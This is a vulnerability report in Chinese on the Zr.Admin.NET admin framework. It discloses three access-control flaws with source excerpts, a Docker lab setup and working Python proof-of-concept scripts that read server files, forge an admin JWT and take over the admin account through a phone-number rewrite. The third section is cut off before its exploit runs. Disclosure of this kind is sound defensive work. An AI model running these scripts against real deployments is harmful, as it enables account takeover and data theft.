Zr.Admin.NET 漏洞报告

软件名称:Zr.Admin.NET

开发者或厂商:izhaorui

代码仓库:https://github.com/izhaorui/Zr.Admin.NET

1. 下载接口任意文件读取导致管理员令牌伪造 (CVE-2026-129464)

简要描述:拥有账号的用户可以读取服务器上的配置文件,再用其中的 JWT 密钥伪造管理员令牌。
影响版本:0ee1ab8a(2023-12-16)至 eb9228a2(2026-10-22)
漏洞引入:Zr.Admin.NET commit 0ee1ab8a
前置条件:攻击者拥有一个账号。

漏洞成因

CommonController.DownloadFile 把请求参数 path 当作服务器文件路径。相关代码如下:

// ZR.Admin.WebApi/Controllers/CommonController.cs:220-241    commit eb9228a230
[HttpGet]
[ActionPermissionFilter(Permission = "common")]
[Log(Title = "下载文件", IsSaveResponseData = false)]
public IActionResult DownloadFile(string? path, long fileId = 0)
{
    var tempPath = path;
    if (fileId > 0)
    {
        var fileInfo = SysFileService.GetById(fileId);
        if (fileInfo != null)
        {
            tempPath = fileInfo.FileUrl;
        }
    }
    string fullPath = tempPath;
    if (tempPath.StartsWith("/") && WebHostEnvironment.IsDevelopment())
    {
        fullPath = Path.Combine(WebHostEnvironment.WebRootPath, tempPath.ReplaceFirst("/", ""));
    }
    string fileName = Path.GetFileName(fullPath);
    return DownFile(fullPath, fileName);
}

Permission = "common" 在权限过滤器里表示登录即放行,零角色零权限的账号同样可以调用(ZR.ServiceCore/Filters/ActionPermissionFilter.cs:114)。生产环境下 IsDevelopment() 为 false,path 原样交给 DownFile:

// Infrastructure/Controllers/BaseController.cs:109-120    commit eb9228a230
protected IActionResult DownFile(string path, string fileName)
{
    if (!System.IO.File.Exists(path))
    {
        return ToResponse(ResultCode.CUSTOM_ERROR, "文件不存在");
    }
    var stream = System.IO.File.OpenRead(path);  //创建文件流
    Response.Headers.Append("Access-Control-Expose-Headers", "Content-Disposition");
    return File(stream, "application/octet-stream", HttpUtility.UrlEncode(fileName));
}

该路径未经 Path.GetFullPath 规范化,基准目录未做限定,绝对路径与 ../ 均可使用。

读取到 JwtSettings:SecretKey 之后,即可伪造令牌。JwtUtil.ValidateJwtToken 只把 claim 里的 userdata 反序列化成 LoginUser:

// Infrastructure/JwtUtil.cs:139-155    commit eb9228a230
public static LoginUser? ValidateJwtToken(JwtSecurityToken jwtSecurityToken)
{
    try
    {
        if (jwtSecurityToken == null) return null;
        IEnumerable<Claim> claims = jwtSecurityToken?.Claims;
        LoginUser loginUser = null;

        var userData = claims.FirstOrDefault(x => x.Type == ClaimTypes.UserData)?.Value;
        if (userData != null)
        {
            loginUser = JsonConvert.DeserializeObject<LoginUser>(userData);
            loginUser.ExpireTime = jwtSecurityToken.ValidTo;
        }
        return loginUser;
    }
    catch (Exception ex)
    {
        Console.WriteLine(ex.Message);
        return null;
    }
}

令牌里的 RoleKeys 与 Permissions 决定后续的授权结果。攻击者可以为 UserId=1 签发一个带 RoleKeys=["admin"] 的令牌,后续接口按管理员身份处理。

复现环境搭建

实验环境用仓库自带的 Dockerfile 构建镜像。该 Dockerfile 的 restore 阶段缺少 ZR.Workflow 的 csproj,构建前补一行:

git clone https://github.com/izhaorui/Zr.Admin.NET
cd Zr.Admin.NET
sed -i 's#COPY \["ZR.Mall/ZR.Mall.csproj", "ZR.Mall/"\]#&\nCOPY ["ZR.Workflow/ZR.Workflow.csproj", "ZR.Workflow/"]#' ZR.Admin.WebApi/Dockerfile
docker build -f ZR.Admin.WebApi/Dockerfile -t zradmin-webapi:latest .

官方 compose 文件没有数据库服务,实验环境补一个 MySQL,并把配置挂载进容器:

services:
  db:
    image: mysql:8.0
    command: --character-set-server=utf8mb4 --collation-server=utf8mb4_general_ci
    environment:
      MYSQL_ROOT_PASSWORD: root123456
      MYSQL_DATABASE: zrdb
    healthcheck:
      test: ["CMD", "mysqladmin", "ping", "-h", "127.0.0.1", "-uroot", "-proot123456"]
      interval: 5s
      timeout: 5s
      retries: 30

  app:
    image: zradmin-webapi:latest
    depends_on:
      db:
        condition: service_healthy
    ports:
      - "1888:8888"
    volumes:
      - ./appsettings.Production.json:/app/appsettings.Production.json

appsettings.Production.json 内容如下:

{
  "urls": "http://+:8888",
  "dbConfigs": [
    {
      "Conn": "Data Source=db;Database=zrdb;User ID=root;Password=root123456;CharSet=utf8mb4;SslMode=None;AllowPublicKeyRetrieval=True;pooling=true;Min Pool Size=1;Max Pool Size=50",
      "DbType": 0,
      "ConfigId": "0",
      "IsAutoCloseConnection": true,
      "DbName": "zrdb"
    }
  ],
  "CodeGenDbConfig": {
    "Conn": "Data Source=db;Database=zrdb;User ID=root;Password=root123456;CharSet=utf8mb4;SslMode=None;AllowPublicKeyRetrieval=True;pooling=true;Min Pool Size=1;Max Pool Size=50",
    "DbType": 0,
    "DbName": "zrdb"
  },
  "ModuleInit": {
    "Workflow": true,
    "Mall": true,
    "Member": true
  },
  "workId": "1",
  "JwtSettings": {
    "Issuer": "ZRAdmin.NET",
    "Audience": "ZRAdmin.NET",
    "SecretKey": "ZrAdminVulnLabSecretKey20261113-x9Q",
    "Expire": 1440,
    "RefreshTokenTime": 30,
    "TokenType": "Bearer"
  },
  "SmsOptions": {
    "Enabled": false
  }
}

初始化数据库并启动:

docker compose up -d db
docker compose run --rm --no-deps app dotnet ZR.Admin.WebApi.dll --initdb
docker compose up -d app

环境启动后用 admin/123456 登录后台,新建账号 low1,密码 Aa123456!,不分配角色。

登录脚本如下,login 返回该账号的 JWT:

import base64, re, requests

B = "http://127.0.0.1:1888"


def login(user, password):
    d = requests.get(f"{B}/captchaImage").json()["data"]
    code = "".join(re.findall(r"<text[^>]*>(.*?)</text>",
                              base64.b64decode(d["img"].split("base64,", 1)[1]).decode()))
    return requests.post(f"{B}/login", json={"username": user, "password": password,
                                             "code": code, "uuid": d["uuid"]}).json()["data"]

复现过程

用 low1 登录,并读取 /etc/passwd 与配置文件:

import requests

B = "http://127.0.0.1:1888"
tok = login("low1", "Aa123456!")
print("low1 token:", tok)
H = {"Authorization": f"Bearer {tok}"}

for p in ["/etc/passwd", "/app/appsettings.Production.json"]:
    r = requests.get(f"{B}/common/DownloadFile", params={"path": p}, headers=H)
    print(f"\nGET /common/DownloadFile?path={p} -> HTTP {r.status_code}, {len(r.content)} bytes")
    print(r.text)

输出如下:

low1 token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMiIsIm5hbWVpZCI6IjIiLCJ1bmlxdWVfbmFtZSI6ImxvdzEiLCJncm91cHNpZCI6IjAiLCJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dzLzIwMDgvMDYvaWRlbnRpdHkvY2xhaW1zL3VzZXJkYXRhIjoie1wiVXNlcklkXCI6MixcIlNlc3Npb25JZFwiOlwiYTU2ZmI5MmE0MTAzNDhhMjg1NzUxNDliYjEyOGVjYWZcIixcIkRlcHRJZFwiOjAsXCJVc2VyTmFtZVwiOlwibG93MVwiLFwiTmlja05hbWVcIjpcImxvdzFcIixcIlJvbGVLZXlzXCI6W10sXCJSb2xlc1wiOltdLFwiRXhwaXJlVGltZVwiOlwiMDAwMS0wMS0wMVQwMDowMDowMFwiLFwiVGVuYW50SWRcIjpudWxsLFwiUGVybWlzc2lvbnNcIjpbXSxcIlNjb3BlVHlwZVwiOjB9IiwibmJmIjoxNzk0NTc0NDI1LCJleHAiOjE3OTQ2NjA4MjUsImlhdCI6MTc5NDU3NDQyNSwiaXNzIjoiWlJBZG1pbi5ORVQiLCJhdWQiOiJaUkFkbWluLk5FVCJ9.Edp_XAj1bd6Y6HyJHVvcfJSBkfuLBLJrVfVasWHL5VA

GET /common/DownloadFile?path=/etc/passwd -> HTTP 200, 874 bytes
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
app:x:1654:1654::/home/app:/bin/sh

GET /common/DownloadFile?path=/app/appsettings.Production.json -> HTTP 200, 1320 bytes
{
  "urls": "http://+:8888",
  "dbConfigs": [
    {
      "Conn": "Data Source=db;Database=zrdb;User ID=root;Password=root123456;CharSet=utf8mb4;SslMode=None;AllowPublicKeyRetrieval=True;pooling=true;Min Pool Size=1;Max Pool Size=50",
      "DbType": 0,
      "ConfigId": "0",
      "IsAutoCloseConnection": true,
      "DbName": "zrdb"
    }
  ],
  "CodeGenDbConfig": {
    "Conn": "Data Source=db;Database=zrdb;User ID=root;Password=root123456;CharSet=utf8mb4;SslMode=None;AllowPublicKeyRetrieval=True;pooling=true;Min Pool Size=1;Max Pool Size=50",
    "DbType": 0,
    "DbName": "zrdb"
  },
  "ModuleInit": {
    "Workflow": true,
    "Mall": true,
    "Member": true
  },
  "workId": "1",
  "JwtSettings": {
    "Issuer": "ZRAdmin.NET",
    "Audience": "ZRAdmin.NET",
    "SecretKey": "ZrAdminVulnLabSecretKey20261113-x9Q",
    "Expire": 1440,
    "RefreshTokenTime": 30,
    "TokenType": "Bearer"
  },
  "SmsOptions": {
    "Enabled": false
  }
}

用读到的 SecretKey 签发管理员令牌,再访问管理员接口:

import base64, hashlib, hmac, json, time, requests

B = "http://127.0.0.1:1888"
secret = "ZrAdminVulnLabSecretKey20261113-x9Q"


def b64(o):
    return base64.urlsafe_b64encode(json.dumps(o, separators=(",", ":")).encode()).rstrip(b"=").decode()


now = int(time.time())
body = {"primarysid": "1", "nameid": "1", "unique_name": "admin", "groupsid": "0",
        "http://schemas.microsoft.com/ws/2008/06/identity/claims/userdata":
            json.dumps({"UserId": 1, "UserName": "admin", "DeptId": 0,
                        "RoleKeys": ["admin"], "Permissions": ["*:*:*"]}),
        "nbf": now, "exp": now + 3600, "iat": now, "iss": "ZRAdmin.NET", "aud": "ZRAdmin.NET"}
msg = f"{b64({'alg': 'HS256', 'typ': 'Bearer'})}.{b64(body)}".encode()
token = msg.decode() + "." + base64.urlsafe_b64encode(
    hmac.new(secret.encode(), msg, hashlib.sha256).digest()).decode().rstrip("=")
print("forged token:", token)
H = {"Authorization": f"Bearer {token}"}
print(requests.get(f"{B}/system/user/list", params={"pageNum": 1, "pageSize": 2}, headers=H).text)

输出如下:

secret: ZrAdminVulnLabSecretKey20261113-x9Q
forged token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMSIsIm5hbWVpZCI6IjEiLCJ1bmlxdWVfbmFtZSI6ImFkbWluIiwiZ3JvdXBzaWQiOiIwIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy91c2VyZGF0YSI6IntcIlVzZXJJZFwiOiAxLCBcIlVzZXJOYW1lXCI6IFwiYWRtaW5cIiwgXCJEZXB0SWRcIjogMCwgXCJSb2xlS2V5c1wiOiBbXCJhZG1pblwiXSwgXCJQZXJtaXNzaW9uc1wiOiBbXCIqOio6KlwiXX0iLCJuYmYiOjE3OTQ1NzQ0MjYsImV4cCI6MTc5NDU3ODAyNiwiaWF0IjoxNzk0NTc0NDI2LCJpc3MiOiJaUkFkbWluLk5FVCIsImF1ZCI6IlpSQWRtaW4uTkVUIn0.GMX_pluUUjGb4smC1nmnB8lSA0pz5-SY5CDdFmkBkvY

GET /system/user/list?pageNum=1&pageSize=2 -> 200 1011B
{
  "code": 200,
  "msg": "success",
  "data": {
    "pageSize": 2,
    "pageIndex": 1,
    "totalNum": 1,
    "totalPage": 1,
    "result": [
      {
        "userId": 1,
        "userName": "admin",
        "nickName": "管理员",
        "email": null,
        "remark": "管理员",
        "phonenumber": null,
        "avatar": null,
        "sex": 0,
        "password": "E10ADC3949BA59ABBE56E057F20F883E",
        "status": 0,
        "loginIP": "172.24.0.1",
        "loginDate": "2026-11-13 20:53:44",
        "deptId": 0,
        "leaderId": null,
        "leaderName": null,
        "welcomeContent": null,
        "pwdUpdateTime": null,
        "twoFactorEnabled": 0,
        "create_time": "2026-11-13 12:53:33",
        "create_by": null,
        "update_time": null,
        "update_by": null,
        "isAdmin": true,
        "deptName": null,
        "roleIds": null,
        "postIds": null,
        "roles": null,
        "welcomeMessage": "晚上好"
      }
    ],
    "extra": {}
  }
}

isAdmin 为 true,返回内容包含管理员账号的密码哈希。

2. 个人资料接口越权修改导致管理员账号接管 (CVE-2026-129465)

简要描述:拥有账号的用户可以改写其他账号的手机号,再用短信验证码登录该账号,从而接管管理员账号。
影响版本:af07ffc5(2022-03-04)至 eb9228a2(2026-10-22)
漏洞引入:Zr.Admin.NET commit af07ffc5
前置条件:攻击者拥有一个账号,能接收短信,并知道目标账号的 UserId(默认安装中管理员为 1)。

漏洞成因

SysProfileController.UpdateProfile 从请求体读取整个 SysUserDto,其中包含 UserId:

// ZR.Admin.WebApi/Controllers/System/SysProfileController.cs:62-75    commit eb9228a230
[HttpPut]
[ActionPermissionFilter(Permission = "common")]
[Log(Title = "修改信息", BusinessType = BusinessType.UPDATE)]
public IActionResult UpdateProfile([FromBody] SysUserDto userDto)
{
    if (userDto == null)
    {
        throw new CustomException(ResultCode.PARAM_ERROR, "请求参数错误");
    }
    var user = userDto.Adapt<SysUser>().ToUpdate(HttpContext);

    int result = UserService.ChangeUser(user);
    return ToResponse(result);
}

ChangeUser 按 user.UserId 更新,更新的字段包含 Phonenumber 与 Status,没有校验当前登录用户与该 UserId 的关系:

// ZR.ServiceCore/Services/SysUserService.cs:220-236    commit eb9228a230
public int ChangeUser(SysUser user)
{
    user.Update_time = DateTime.Now;
    var result = Update(user, t => new
    {
        t.NickName,
        t.Email,
        t.Phonenumber,
        t.DeptId,
        t.LeaderId,
        t.Status,
        t.Sex,
        t.PostIds,
        t.Remark,
        t.Update_by,
        t.Update_time
    }, true);

同文件的 ChangeUserStatus 调用了 CheckUserAllowed(SysUserService.cs:312-315),ChangeUser 没有调用。

该接口只接受 UserId,不接受用户名,所以需要目标账号的编号:默认安装中管理员为 1;目标账号发过文章时,匿名文章详情也会返回作者的 userId。

手机号改写之后,匿名接口 /checkMobile 会把验证码发到该号码,匿名接口 /PhoneLogin 按手机号签发令牌:

// ZR.Admin.WebApi/Controllers/System/SysLoginController.cs:470-495    commit eb9228a230
[HttpPost("/checkMobile")]
[Log(Title = "发送短息", BusinessType = BusinessType.INSERT)]
[AllowAnonymous]
public IActionResult CheckMobile([FromBody] PhoneLoginDto dto)
{
    dto.LoginIP = HttpContextExtension.GetClientUserIp(HttpContext);
    var uid = HttpContext.GetUId();
    sysTenantService.CheckTenant(dto.TenantId);
    if (dto.SendType == 0)
    {
        var info = sysUserService.GetFirst(f => f.Phonenumber == dto.PhoneNum)
            ?? throw new CustomException(ResultCode.CUSTOM_ERROR, "该手机号不存在", false);
        uid = info.UserId;
    }
// ZR.Admin.WebApi/Controllers/System/SysLoginController.cs:516-549    commit eb9228a230
[Route("PhoneLogin")]
[HttpPost]
[Log(Title = "手机号登录", IsSaveResponseData = false)]
[AllowAnonymous]
public IActionResult PhoneLogin([FromBody] PhoneLoginDto loginBody)
{
    if (loginBody == null) { throw new CustomException("请求参数错误"); }
    loginBody.LoginIP = HttpContextExtension.GetClientUserIp(HttpContext);

    sysLoginService.CheckLockUser(loginBody.PhoneNum);

    if (!CacheService.CheckPhoneCode(loginBody.PhoneNum, loginBody.PhoneCode))
    {
        sysLoginService.RecordLoginFailure(loginBody.PhoneNum);
        ...
    }

PhoneLogin 只比对手机号与验证码,通过后为该手机号所属账号签发令牌。

复现环境搭建

沿用第 1 节的实验环境。每次复现前执行 docker compose down -v 清空数据卷,再按第 1 节重新初始化。

复现过程

用 low1 登录,把自己的手机号写到 UserId=1 上,再让服务端向该号码发送验证码:

import requests

B = "http://127.0.0.1:1888"
low = login("low1", "Aa123456!")
print("low1 token:", low)
H = {"Authorization": f"Bearer {low}"}

r = requests.put(f"{B}/system/user/profile", headers=H, json={
    "userId": 1, "nickName": "PWNED", "phonenumber": "13800138000", "status": 0})
print("PUT /system/user/profile ->", r.status_code, r.text.strip())

r = requests.post(f"{B}/checkMobile", json={"phoneNum": "13800138000", "sendType": 0})
print("POST /checkMobile ->", r.status_code, r.text.strip())

输出如下:

low1 token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMiIsIm5hbWVpZCI6IjIiLCJ1bmlxdWVfbmFtZSI6ImxvdzEiLCJncm91cHNpZCI6IjAiLCJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dzLzIwMDgvMDYvaWRlbnRpdHkvY2xhaW1zL3VzZXJkYXRhIjoie1wiVXNlcklkXCI6MixcIlNlc3Npb25JZFwiOlwiZTNiYzYxNTkwY2Y5NGJjY2FiNDQ2MTBmYTQ4NjkzZTZcIixcIkRlcHRJZFwiOjAsXCJVc2VyTmFtZVwiOlwibG93MVwiLFwiTmlja05hbWVcIjpcImxvdzFcIixcIlJvbGVLZXlzXCI6W10sXCJSb2xlc1wiOltdLFwiRXhwaXJlVGltZVwiOlwiMDAwMS0wMS0wMVQwMDowMDowMFwiLFwiVGVuYW50SWRcIjpudWxsLFwiUGVybWlzc2lvbnNcIjpbXSxcIlNjb3BlVHlwZVwiOjB9IiwibmJmIjoxNzk0NTc0NDczLCJleHAiOjE3OTQ2NjA4NzMsImlhdCI6MTc5NDU3NDQ3MywiaXNzIjoiWlJBZG1pbi5ORVQiLCJhdWQiOiJaUkFkbWluLk5FVCJ9.6BVEFcSSNiETvRuYxj_00kIxfQm_8e79WaNbPMxRV3I

PUT /system/user/profile -> 200 {
  "code": 200,
  "msg": "success"
}
POST /checkMobile -> 200 {
  "code": 200,
  "msg": "success",
  "data": 1
}

从数据库确认管理员记录被改写:

docker compose exec db mysql -uroot -proot123456 -e \
  "select UserId,UserName,NickName,Phonenumber,Status from zrdb.sys_user where UserId in (1,2)"
UserId	UserName	NickName	Phonenumber	Status
1	admin	PWNED	13800138000	0
2	low1	low1	NULL	0

生产环境中,该短信会被发到攻击者的手机上。实验环境没有配置真实 SMS 服务,因此收不到短信。我们从容器日志中读验证码:

docker compose exec app sh -c 'grep "模拟短信" logs/all.log | tail -1'
2026-11-13 20:54:33.4671 | 0 | 0HNQ1GL0RU7G6 | INFO | ZR.ServiceCore.Sms.DefaultSmsSender | ::ffff:172.25.0.1 | - | http://127.0.0.1/checkMobile | 【模拟短信】手机号=13800138000,模板=,内容=验证码270025,有效期10分钟。 |  |  | -

用它登录:

import requests

B = "http://127.0.0.1:1888"
r = requests.post(f"{B}/PhoneLogin", json={"phoneNum": "13800138000", "phoneCode": "270025"})
print("POST /PhoneLogin ->", r.status_code, r.text.strip())
tok = r.json()["data"]
print("\nadmin token:", tok)
H = {"Authorization": f"Bearer {tok}"}
print(requests.get(f"{B}/system/user/list", params={"pageNum": 1, "pageSize": 3}, headers=H).text)

输出如下:

POST /PhoneLogin -> 200 {
  "code": 200,
  "msg": "success",
  "data": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMSIsIm5hbWVpZCI6IjEiLCJ1bmlxdWVfbmFtZSI6ImFkbWluIiwiZ3JvdXBzaWQiOiIwIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy91c2VyZGF0YSI6IntcIlVzZXJJZFwiOjEsXCJTZXNzaW9uSWRcIjpcImYzMWM2ZDQ2OGQwMjRhNDRhMzJmMzNlY2UxZWVlNGQxXCIsXCJEZXB0SWRcIjowLFwiVXNlck5hbWVcIjpcImFkbWluXCIsXCJOaWNrTmFtZVwiOlwiUFdORURcIixcIlJvbGVLZXlzXCI6W1wiYWRtaW5cIl0sXCJSb2xlc1wiOlt7XCJSb2xlSWRcIjoxLFwiUm9sZUtleVwiOlwiYWRtaW5cIixcIkRhdGFTY29wZVwiOjF9XSxcIkV4cGlyZVRpbWVcIjpcIjAwMDEtMDEtMDFUMDA6MDA6MDBcIixcIlRlbmFudElkXCI6bnVsbCxcIlBlcm1pc3Npb25zXCI6W1wiKjoqOipcIl0sXCJTY29wZVR5cGVcIjo0fSIsIm5iZiI6MTc5NDU3NDQ3NCwiZXhwIjoxNzk0NjYwODc0LCJpYXQiOjE3OTQ1NzQ0NzQsImlzcyI6IlpSQWRtaW4uTkVUIiwiYXVkIjoiWlJBZG1pbi5ORVQifQ.VL0nZBENI61_l5RLyfT9GndwnsDhs0HfwBHw3DmtNZk"
}

admin token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMSIsIm5hbWVpZCI6IjEiLCJ1bmlxdWVfbmFtZSI6ImFkbWluIiwiZ3JvdXBzaWQiOiIwIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy91c2VyZGF0YSI6IntcIlVzZXJJZFwiOjEsXCJTZXNzaW9uSWRcIjpcImYzMWM2ZDQ2OGQwMjRhNDRhMzJmMzNlY2UxZWVlNGQxXCIsXCJEZXB0SWRcIjowLFwiVXNlck5hbWVcIjpcImFkbWluXCIsXCJOaWNrTmFtZVwiOlwiUFdORURcIixcIlJvbGVLZXlzXCI6W1wiYWRtaW5cIl0sXCJSb2xlc1wiOlt7XCJSb2xlSWRcIjoxLFwiUm9sZUtleVwiOlwiYWRtaW5cIixcIkRhdGFTY29wZVwiOjF9XSxcIkV4cGlyZVRpbWVcIjpcIjAwMDEtMDEtMDFUMDA6MDA6MDBcIixcIlRlbmFudElkXCI6bnVsbCxcIlBlcm1pc3Npb25zXCI6W1wiKjoqOipcIl0sXCJTY29wZVR5cGVcIjo0fSIsIm5iZiI6MTc5NDU3NDQ3NCwiZXhwIjoxNzk0NjYwODc0LCJpYXQiOjE3OTQ1NzQ0NzQsImlzcyI6IlpSQWRtaW4uTkVUIiwiYXVkIjoiWlJBZG1pbi5ORVQifQ.VL0nZBENI61_l5RLyfT9GndwnsDhs0HfwBHw3DmtNZk

GET /system/user/list?pageNum=1&pageSize=3 -> 200 1863B
{
  "code": 200,
  "msg": "success",
  "data": {
    "pageSize": 3,
    "pageIndex": 1,
    "totalNum": 2,
    "totalPage": 1,
    "result": [
      {
        "userId": 1,
        "userName": "admin",
        "nickName": "PWNED",
        "email": null,
        "remark": "管理员",
        "phonenumber": "13800138000",
        "avatar": null,
        "sex": 0,
        "password": "E10ADC3949BA59ABBE56E057F20F883E",
        "status": 0,
        "loginIP": "172.25.0.1",
        "loginDate": "2026-11-13 20:54:35",
        "deptId": 0,
        "leaderId": null,
        "leaderName": null,
        "welcomeContent": null,
        "pwdUpdateTime": null,
        "twoFactorEnabled": 0,
        "create_time": "2026-11-13 12:54:21",
        "create_by": null,
        "update_time": "2026-11-13 12:54:33",
        "update_by": "low1",
        "isAdmin": true,
        "deptName": null,
        "roleIds": null,
        "postIds": null,
        "roles": null,
        "welcomeMessage": "晚上好"
      },
      {
        "userId": 2,
        "userName": "low1",
        "nickName": "low1",
        "email": null,
        "remark": null,
        "phonenumber": null,
        "avatar": null,
        "sex": 0,
        "password": "836E5D18D15F021BB70D5F97F0A1C0B0",
        "status": 0,
        "loginIP": "172.25.0.1",
        "loginDate": "2026-11-13 20:54:33",
        "deptId": 0,
        "leaderId": null,
        "leaderName": null,
        "welcomeContent": null,
        "pwdUpdateTime": null,
        "twoFactorEnabled": 0,
        "create_time": "2026-11-13 12:54:32",
        "create_by": "admin",
        "update_time": null,
        "update_by": null,
        "isAdmin": false,
        "deptName": null,
        "roleIds": null,
        "postIds": null,
        "roles": null,
        "welcomeMessage": "晚上好"
      }
    ],
    "extra": {}
  }
}

返回的令牌属于 admin,update_by 记录为 low1,nickName 已变成 PWNED。

3. 越权读取私密文章 (CVE-2026-129455)

简要描述:拥有账号的用户可以修改他人文章的置顶状态与可见范围,把私密文章改成公开后读取正文。
影响版本:e6ceaf47(2024-04-29)至 eb9228a2(2026-10-22)
漏洞引入:Zr.Admin.NET commit e6ceaf47
前置条件:攻击者有账号;目标实例中存在其他用户发布的私密文章。

漏洞成因

daef6af0 在管理端 ArticleController 中加入这两个操作时,为其标注了 system:article:update 权限;e6ceaf4 新增的 FrontArticleController 却把它们开放给了所有已登录用户。ChangePublic 只标了 common,归属校验比较的是请求体里的 userId:

// ZR.Admin.WebApi/Controllers/Content/FrontArticleController.cs:134-152    commit eb9228a230
[HttpPut("changePublic")]
[ActionPermissionFilter(Permission = "common")]
public IActionResult ChangePublic([FromBody] Article parm)
{
    if (parm == null) { return ToResponse(ResultCode.CUSTOM_ERROR); }
    var userId = HttpContext.GetUId();
    if (userId != parm.UserId)
    {
        return ToResponse(ResultCode.CUSTOM_ERROR, "操作失败");
    }
    var response = _ArticleService.ChangeArticlePublic(parm);

    return SUCCESS(response);
}

把 parm.UserId 填成自己的账号即可通过校验,而 ChangeArticlePublic 只按 Cid 更新:

// ZR.Service/Content/ArticleService.cs:430-438    commit eb9228a230
public int ChangeArticlePublic(Article model)
{
    var response = Update(w => w.Cid == model.Cid, it => new Article()
    {
        IsPublic = model.IsPublic,
    });
    return response;
}

Top 没有这段校验(FrontArticleController.cs:122-131),TopArticle 同样只按 Cid 更新 IsTop(ArticleService.cs:402-410)。文章详情接口是匿名的(FrontArticleController.cs:191-194),私密文章被改成公开后,匿名请求即返回正文。

复现环境搭建

沿用第 1 节的实验环境。每次复现前执行 docker compose down -v 清空数据卷,再按第 1 节重新初始化。

复现过程

管理员发布一篇私密文章:

import requests

B = "http://127.0.0.1:1888"
admin = {"Authorization": f"Bearer {login('admin', '123456')}"}
r = requests.post(f"{B}/front/article/publish", headers=admin, json={
    "title": "Q3 payroll review",
    "content": "<p>CFO salary 480000, bank account 6222 0000 1111 2222</p>",
    "isPublic": 0, "isTop": 0})
cid = r.json()["data"]["cid"]
print("admin POST /front/article/publish -> cid=%d, isPublic=%d, userId=%d"
      % (cid, r.json()["data"]["isPublic"], r.json()["data"]["userId"]))

输出如下:

admin token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMSIsIm5hbWVpZCI6IjEiLCJ1bmlxdWVfbmFtZSI6ImFkbWluIiwiZ3JvdXBzaWQiOiIwIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy91c2VyZGF0YSI6IntcIlVzZXJJZFwiOjEsXCJTZXNzaW9uSWRcIjpcIjk2NDIxODA4NDQ0ZjQ3YWViZjdlNTU5ZDI3YmNjY2M4XCIsXCJEZXB0SWRcIjowLFwiVXNlck5hbWVcIjpcImFkbWluXCIsXCJOaWNrTmFtZVwiOlwi566h55CG5ZGYXCIsXCJSb2xlS2V5c1wiOltcImFkbWluXCJdLFwiUm9sZXNcIjpbe1wiUm9sZUlkXCI6MSxcIlJvbGVLZXlcIjpcImFkbWluXCIsXCJEYXRhU2NvcGVcIjoxfV0sXCJFeHBpcmVUaW1lXCI6XCIwMDAxLTAxLTAxVDAwOjAwOjAwXCIsXCJUZW5hbnRJZFwiOm51bGwsXCJQZXJtaXNzaW9uc1wiOltcIio6KjoqXCJdLFwiU2NvcGVUeXBlXCI6NH0iLCJuYmYiOjE3OTQ1NzQzMzEsImV4cCI6MTc5NDY2MDczMSwiaWF0IjoxNzk0NTc0MzMxLCJpc3MiOiJaUkFkbWluLk5FVCIsImF1ZCI6IlpSQWRtaW4uTkVUIn0.sn7FtFWfhYaJM5Nd66250nEuwrylyIWYD3uxU2xXw8Q
